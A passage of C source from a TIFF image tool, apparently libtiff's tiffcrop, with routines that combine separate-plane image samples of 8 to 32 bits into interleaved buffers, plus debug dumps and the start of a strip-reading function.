row_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); src += bytes_per_sample; dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamplesBytes */ static int combineSeparateSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; /* int bytes_per_sample = 0; */ uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples8bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples8bits */ static int combineSeparateSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples16bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples16bits */ static int combineSeparateSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples24bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples24bits */ static int combineSeparateSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples32bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateSamples32bits */ static int combineSeparateTileSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, src_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = imagewidth * bytes_per_sample * spp; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; #ifdef DEVELMODE TIFFError("","Tile row %4d, Src offset %6d Dst offset %6d", row, src_offset, dst - out); #endif for (col = 0; col < cols; col++) { col_offset = src_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamplesBytes */ static int combineSeparateTileSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples8bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples8bits */ static int combineSeparateTileSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples16bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples16bits */ static int combineSeparateTileSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples24bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples24bits */ static int combineSeparateTileSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples32bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateTileSamples32bits */ static int readSeparateStripsIntoBuffer (TIFF *in, uint8 *obuf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { int i, j, bytes_per_sample, bytes_per_pixel, shift_width, result = 1; int32 bytes_read = 0; uint16 bps, nstrips, planar, strips_per_sample; uint32 src_rowsize, dst_rowsize, rows_processed, rps; uint32 rows_this_strip = 0; tsample_t s; tstrip_t strip; tsize_t scanlinesize = TIFFScanlineSize(in); tsize_t stripsize = TIFFStripSize(in); unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *buff = NULL; unsigned char *dst = NULL; if (obuf == NULL) { TIFFError("readSeparateStripsIntoBuffer","Invalid buffer argument"); return (0); } memset (srcbuffs, '\0', sizeof(srcbuffs)); TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); if (rps > length) rps = length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; src_rowsize = ((bps * width) + 7) / 8; dst_rowsize = ((bps * width * spp) + 7) / 8; dst = obuf; if ((dump->infile != NULL) && (dump->level == 3)) { dump_info (dump->infile, dump->format, "", "Image width %d, length %d, Scanline size, %4d bytes", width, length, scanlinesize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d, Shift width %d", bps, spp, shift_width); } /* Libtiff seems to assume/require that data for separate planes are * written one complete plane after another and not interleaved in any way. * Multiple scanlines and possibly strips of the same plane must be * written before data for any other plane. */ nstrips = TIFFNumberOfStrips(in); strips_per_sample = nstrips /spp; for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { srcbuffs[s] = NULL; buff = _TIFFmalloc(stripsize); if (!buff) { 